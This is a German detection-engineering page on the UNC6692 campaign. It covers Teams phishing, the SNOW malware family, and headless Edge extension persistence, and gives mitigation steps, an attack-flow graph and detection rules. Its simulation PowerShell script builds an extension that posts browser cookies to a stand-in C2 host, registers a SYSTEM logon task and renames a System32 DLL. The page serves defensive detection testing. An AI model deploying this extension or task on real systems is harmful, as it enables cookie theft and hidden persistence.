UNC6692 setzt maßgeschneiderte Malware durch Social Engineering ein
Detection stack
- AIDR
- Alert
- ETL
- Query
Zusammenfassung
UNC6692 führte einen mehrstufigen Einbruch durch, der mit einem Phishing-Link begann, der über Microsoft Teams gesendet wurde, ein bösartiges AutoHotKey-Payload lieferte und ein benutzerdefiniertes modulares Malware-Toolkit namens SNOW einsetzte, einschließlich SNOWBELT, SNOWGLAZE und SNOWBASIN. Die Operation nutzte auch eine schädliche Chromium-Browser-Erweiterung, ein Python-basiertes Tunneling-Utility und eine lokale HTTP-Hintertür, um laterale Bewegung, Credential-Diebstahl und Datenexfiltration über Cloud-Services zu ermöglichen. Die Kampagne fiel durch ihren effektiven Missbrauch legitimer Cloud-Infrastruktur und browserbasierter Persistenzmechanismen auf. Das Erkennen dieser Aktivität erfordert eine genaue Überwachung ungewöhnlichen Browser-Erweiterungsverhaltens, geplanter Aufgaben, die Edge im headless Modus starten, und verdächtiger Zugriffe auf Cloud-Speicherdienste.
Untersuchung
Die Google Threat Intelligence Group entdeckte die Kampagne durch die Analyse von Teams-Chat-Protokollen, erfassten AutoHotKey-Skripten, geplanten Aufgaben-Konfigurationen und Netzwerkverkehr mit AWS S3 und einem auf Heroku gehosteten WebSocket-Server. Die Malware-Analyse legte die SNOW-Malware-Familie, ihre internen Komponenten, Kommunikationsmuster und die Nutzung von PsExec durch die Angreifer zusammen mit Credential-Dumping-Tools offen. Ermittler bestätigten auch den Diebstahl von LSASS-Speicher und Active Directory-Datenbankdateien, die über LimeWire exfiltriert wurden.
Minderung
Verteidiger sollten strenge Whitelist-Politiken für Browser-Erweiterungen anwenden, auf Microsoft Edge achten, der mit headless oder erweiterungsbezogenen Flags gestartet wird, und den Zugriff auf nicht genehmigte AWS S3-Buckets und Heroku-Domains blockieren. Die Durchsetzung von Multi-Faktor-Authentifizierung für privilegierte Konten und die Überwachung von PsExec-Ausführung und LSASS-Zugriff kann helfen, Credential-Diebstahl und laterale Bewegung zu begrenzen. Geplante Aufgaben und Autostart-Verknüpfungen sollten ebenfalls regelmäßig überprüft werden, um nicht autorisierte Persistenz zu identifizieren.
Reaktion
Wenn eine SNOW-Komponente entdeckt wird, isolieren Sie das betroffene System sofort, beenden Sie verdächtige Edge- und AutoHotKey-Prozesse und sammeln Sie Speicher für LSASS-bezogene forensische Analysen. Sperren Sie die bekannten Command-and-Control-Domains und IP-Adressen, entfernen Sie schädliche Browser-Erweiterungen und wechseln Sie die Anmeldedaten für privilegierte Konten. Danach sollte ein vollständiger netzwerkweiter Scan durchgeführt werden, um weitere kompromittierte Hosts zu identifizieren, sowie eine Überprüfung geplanter Aufgaben und Autostart-Elemente auf Persistenz erfolgen.
"graph TB %% Klassendefinitionen classDef technique fill:#99ccff classDef tool fill:#cccccc classDef malware fill:#ffcc99 classDef operator fill:#ff9900 %% Technik-Knoten tech_phishing["<b>Technik</b> – <b>T1566.002 Phishing: Spearphishing-Link via Microsoft Teams</b><br/><b>Beschreibung</b>: Gegner liefert einen bösartigen Link über Microsoft Teams an Zielnutzer."] class tech_phishing technique tech_user_exec["<b>Technik</b> – <b>T1204.001 Benutzer-Ausführung: Klick auf bösartigen Link</b><br/><b>Beschreibung</b>: Opfer klickt auf den bösartigen Link und löst damit die Ausführung aus."] class tech_user_exec technique tech_ahk["<b>Technik</b> – <b>T1059.010 Kommando- und Skript-Interpreter: AutoHotkey/AutoIT</b><br/><b>Beschreibung</b>: Führt AutoHotkey-Binärdatei und Skript aus, um weiteren Code auszuführen."] class tech_ahk technique tech_python["<b>Technik</b> – <b>T1059.006 Kommando- und Skript-Interpreter: Python</b><br/><b>Beschreibung</b>: Führt Python-Loader für zusätzliche Module aus."] class tech_python technique tech_ext["<b>Technik</b> – <b>T1176 Software-Erweiterungen: Installation von Chromium-Erweiterung</b><br/><b>Beschreibung</b>: Installiert eine bösartige Browser-Erweiterung zur Aufrechterhaltung der Persistenz."] class tech_ext technique tech_schedtask["<b>Technik</b> – <b>T1053.005 Geplante Aufgabe: Starten von Headless Edge</b><br/><b>Beschreibung</b>: Erstellt geplante Aufgaben, um Edge mit der bösartigen Erweiterung zu starten."] class tech_schedtask technique tech_shortcut["<b>Technik</b> – <b>T1547.009 Verknüpfungsmodifikation</b><br/><b>Beschreibung</b>: Platziert eine Verknüpfung im Autostart-Ordner für automatische Ausführung."] class tech_shortcut technique tech_ingress["<b>Technik</b> – <b>T1105 Ingress-Tool-Transfer</b><br/><b>Beschreibung</b>: Lädt zusätzliche Payloads wie SNOWGLAZE und SNOWBASIN herunter."] class tech_ingress technique tech_obfuscate["<b>Technik</b> – <b>T1027 Verschleierte Dateien oder Informationen</b><br/><b>Beschreibung</b>: Codiert Payloads mit Base64 und verschlüsselt sie mit AESu2011GCM."] class tech_obfuscate technique tech_archive["<b>Technik</b> – <b>T1560 Archivierte gesammelte Daten</b><br/><b>Beschreibung</b>: Verschlüsselt und bereitet Daten vor der Exfiltration vor."] class tech_archive technique tech_encchannel["<b>Technik</b> – <b>T1573.001 Verschlüsselter Kanal: Symmetrische Kryptografie</b><br/><b>Beschreibung</b>: Verwendet AESu2011GCM für verschlüsselte Kommunikation."] class tech_encchannel technique tech_tunnel["<b>Technik</b> – <b>T1572 Protokoll-Tunneling</b><br/><b>Beschreibung</b>: Erstellt einen WebSocket-Tunnel zu einem Heroku-Befehl-u2011und-u2011Kontroll-Server."] class tech_tunnel technique tech_appproto["<b>Technik</b> – <b>T1071.001 Anwendungs-Layer-Protokoll: WebSocket</b><br/><b>Beschreibung</b>: Kommuniziert mit C2 über WebSocket-Anwendung_u2011_einheit-Protokoll."] class tech_appproto technique tech_proxy["<b>Technik</b> – <b>T1090 Proxy</b><br/><b>Beschreibung</b>: Nutzt den Tunnel als Proxy, um den Datenverkehr zu leiten."] class tech_proxy technique tech_psexec["<b>Technik</b> – <b>T1021.002 SMB/Windows Admin Shares: PsExec</b><br/><b>Beschreibung</b>: Führt Remote-Prozesse über SMB-Admin-Shares für laterale Bewegung aus."] class tech_psexec technique tech_cred_dump["<b>Technik</b> – <b>T1003 OS-Credential-Dumping</b><br/><b>Beschreibung</b>: Extrahiert Anmeldedaten aus dem LSASS-Speicher."] class tech_cred_dump technique tech_pass_hash["<b>Technik</b> – <b>T1550.002 Verwendung des Hashes</b><br/><b>Beschreibung</b>: Verwendet erfasste NTLM-Hashes zur Authentifizierung bei anderen Systemen."] class tech_pass_hash technique tech_rdp["<b>Technik</b> – <b>T1021.001 Remote-Desktop-Protokoll</b><br/><b>Beschreibung</b>: Verbindet sich mit dem Backup-Server und dem Domänen-Controller über RDP."] class tech_rdp technique tech_exfil["<b>Technik</b> – <b>T1567.002 Exfiltration zu Cloud Storage</b><br/><b>Beschreibung</b>: Lädt gesammelte AD-Datenbankdateien zu Amazon S3 hoch."] class tech_exfil technique %% Werkzeugknoten tool_ahk_binary["<b>Werkzeug</b> – <b>Name</b>: AutoHotkey-Binärdatei<br/><b>Beschreibung</b>: Führt kompilierten AHK-Skript aus."] class tool_ahk_binary tool tool_python_runtime["<b>Werkzeug</b> – <b>Name</b>: Python-Interpreter<br/><b>Beschreibung</b>: Führt Python-basierte Loader aus."] class tool_python_runtime tool tool_edge_headless["<b>Werkzeug</b> – <b>Name</b>: Microsoft Edge (headless)<br/><b>Beschreibung</b>: Browser, der eine bösartige Erweiterung ausführt."] class tool_edge_headless tool tool_snowglaze["<b>Werkzeug</b> – <b>Name</b>: SNOWGLAZE-Loader<br/><b>Beschreibung</b>: Lädt und startet zusätzliche Module."] class tool_snowglaze tool tool_snowbasin["<b>Werkzeug</b> – <b>Name</b>: SNOWBASIN-Loader<br/><b>Beschreibung</b>: Sekundärloader, der nach SNOWGLAZE verwendet wird."] class tool_snowbasin tool tool_snowbelt_ext["<b>Werkzeug</b> – <b>Name</b>: SNOWBELT Chromium-Erweiterung<br/><b>Beschreibung</b>: Bietet Persistenz und Datensammlung im Browser."] class tool_snowbelt_ext tool tool_psexec["<b>Werkzeug</b> – <b>Name</b>: PsExec<br/><b>Beschreibung</b>: Führt Prozesse auf Remote-Windows-Hosts über Admin-Shares aus."] class tool_psexec tool %% Malware-Knoten malware_snowglaze["<b>Malware</b> – <b>Name</b>: SNOWGLAZE<br/><b>Beschreibung</b>: Loader, der einen WebSocket-Tunnel erstellt und den Datenverkehr verschlüsselt."] class malware_snowglaze malware malware_snowbasin["<b>Malware</b> – <b>Name</b>: SNOWBASIN<br/><b>Beschreibung</b>: Sekundäre Nutzlast, die bei der Datenvorbereitung hilft."] class malware_snowbasin malware malware_snowbelt["<b>Malware</b> – <b>Name</b>: SNOWBELT-Erweiterung<br/><b>Beschreibung</b>: Chromium-Erweiterung, die für Persistenz und Exfiltration verwendet wird."] class malware_snowbelt malware %% Angriffsfluss-Verbindungen tech_phishing –>|führt zu| tech_user_exec tech_user_exec –>|löst aus| tech_ahk tech_ahk –>|verwendet| tool_ahk_binary tech_ahk –>|führt aus| tech_python tech_python –>|verwendet| tool_python_runtime tech_python –>|lädt herunter| tool_snowglaze tech_python –>|lädt herunter| tool_snowbasin tool_snowglaze –>|installiert| malware_snowglaze tool_snowbasin –>|installiert| malware_snowbasin malware_snowglaze –>|erstellt| tech_ext tech_ext –>|installiert| tool_snowbelt_ext tool_snowbelt_ext –>|installiert| malware_snowbelt tech_ext –>|ermöglicht| tech_schedtask tech_schedtask –>|startet| tool_edge_headless tech_ext –>|ermöglicht| tech_shortcut tech_shortcut –>|fügt hinzu| op_shortcut_startup(("Startup shortcut")) class op_shortcut_startup operator tech_user_exec –>|lädt herunter| tech_ingress tech_ingress –>|liefert| tech_obfuscate tech_obfuscate –>|bereitet vor| tech_archive tech_archive –>|schützt| tech_encchannel tech_encchannel –>|schützt| tech_tunnel tech_tunnel –>|verwendet| tech_appproto tech_tunnel –>|agiert als| tech_proxy tech_proxy –>|leitet| tech_psexec tech_psexec –>|verwendet| tool_psexec tool_psexec –>|führt aus| tech_cred_dump tech_cred_dump –>|bietet| tech_pass_hash tech_pass_hash –>|ermöglicht| tech_rdp tech_rdp –>|verbindet mit| tech_exfil "
Angriffsfluss
Erkennungen
Verdächtige Taskkill-Ausführung (über cmdline)
Ansehen
Möglicher AutoHotkey-Skript-Ausführungsversuch (über cmdline)
Ansehen
Verdächtige Binärdateien/Skripte im Autostart-Verzeichnis (über file_event)
Ansehen
Verdächtige Herokuapp-Domain-Kommunikation (über Proxy)
Ansehen
Verdächtige Herokuapp-Domain-Kommunikation (über DNS)
Ansehen
IOCs (HashSha256) zur Erkennung: Snow Flurries: Wie UNC6692 Social Engineering einsetzte, um eine benutzerdefinierte Malware-Suite bereitzustellen
Ansehen
UNC6692 AutoHotKey- und Python-Skript-Ausführungserkennung [Windows-Prozesserstellung]
Ansehen
UNC6692 Geplante Aufgaben und Microsoft Edge Prozess-Anomalien [Microsoft Windows Sicherheitsereignisprotokoll]
Ansehen
Simulation Ausführung
Voraussetzung: Der Telemetrie- & Basislinien-Prehtable-Check muss bestanden haben.
Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der gegnerischen Technik (TTP), die darauf abzielt, die Erkennung des Regelwerks auszulösen. Die Befehle und Erzählungen MÜSSEN direkt die identifizierten TTPs widerspiegeln und das genaue Telemetrie generieren, das von der Erkennungslogik erwartet wird. Abstrakte oder nicht verwandte Beispiele führen zu Fehldiagnosen.
-
Angriffserzählung & Befehle:
- Ziel: Persistente, versteckte Ausführung der browserbasierten Nutzlast Snowbelt auf dem Opfer-Host herstellen.
- Methode: Registrieren einer geplanten Aufgabe, die Microsoft Edge im headless Modus mit der bösartigen Snowbelt-Erweiterung startet (
C:TempSnowbelt). Die Erweiterung lädt bösartiges JavaScript, das mit C2 kommuniziert und Daten exfiltriert. - Indikator bereinigen: Nach dem Laufen der Nutzlast entfernt der Angreifer
CoreUIComponents.dllaus dem System-DLL-Cache, um die Erkennung eines „gesunden“ Edge-Prozesses zu vermeiden; der Edge-Prozess läuft weiter, aber das Modul fehlt, wodurch die zweite Klausel der Regel zufriedengestellt wird.
-
Regressionstestskript:
# UNC6692-Simulation – erstellt bösartige geplante Aufgabe und läuft Edge ohne CoreUIComponents.dll # ------------------------------------------------------------------------- # 1️⃣ Variablen definieren $edgePath = "$Env:ProgramFiles(x86)MicrosoftEdgeApplicationmsedge.exe" $extPath = "C:TempSnowbelt" $taskName = "SnowbeltEdgeTask" $arguments = "--headless --load-extension=`"$extPath`"" $taskUser = "SYSTEM" # 2️⃣ Sicherstellen, dass Erweiterungsverzeichnis existiert (simulierte Nutzlast) New-Item -ItemType Directory -Force -Path $extPath | Out-Null Set-Content -Path "$extPathmanifest.json" -Value '{"name":"Snowbelt","version":"1.0","manifest_version":2,"background":{"scripts":["snow.js"]}}' -Encoding UTF8 Set-Content -Path "$extPathsnow.js" -Value 'fetch("http://malicious.c2/collect", {method:"POST", body:document.cookie});' -Encoding UTF8 # 3️⃣ Die bösartige geplante Aufgabe registrieren $action = New-ScheduledTaskAction -Execute $edgePath -Argument $arguments $trigger = New-ScheduledTaskTrigger -AtLogOn Register-ScheduledTask -TaskName $taskName -Action $action -Trigger $trigger -User $taskUser -Force # 4️⃣ Die Aufgabe sofort starten, um Telemetrie zu erzeugen Start-ScheduledTask -TaskName $taskName # 5️⃣ CoreUIComponents.dll aus dem laufenden Edge-Prozess entfernen (simuliert) # Hinweis: In einer realen Umgebung würde dies DLL-Hijacking oder Prozessspeicher-Patching beinhalten. # Hier löschen wir einfach die Datei, um sicherzustellen, dass die Aufgabe die Liste nicht findet. $dllPath = "$Env:SystemRootSystem32CoreUIComponents.dll" if (Test-Path $dllPath) { Rename-Item -Path $dllPath -NewName "CoreUIComponents.dll.bak" -Force } # 6️⃣ Überprüfen, ob Edge läuft und die DLL fehlt $proc = Get-Process -Name "msedge" -ErrorAction SilentlyContinue if ($proc) { Write-Host "Edge-Prozess PID $($proc.Id) mit bösartiger Erweiterung gestartet." } -
Bereinigungsschritte:
# Geplante Aufgabe entfernen Unregister-ScheduledTask -TaskName "SnowbeltEdgeTask" -Confirm:$false # CoreUIComponents.dll wiederherstellen, falls umbenannt $dllPath = "$Env:SystemRootSystem32CoreUIComponents.dll" $backup = "$Env:SystemRootSystem32CoreUIComponents.dll.bak" if (Test-Path $backup) { Rename-Item -Path $backup -NewName "CoreUIComponents.dll" -Force } # Simulierte Erweiterungsdateien löschen Remove-Item -Path "C:TempSnowbelt" -Recurse -Force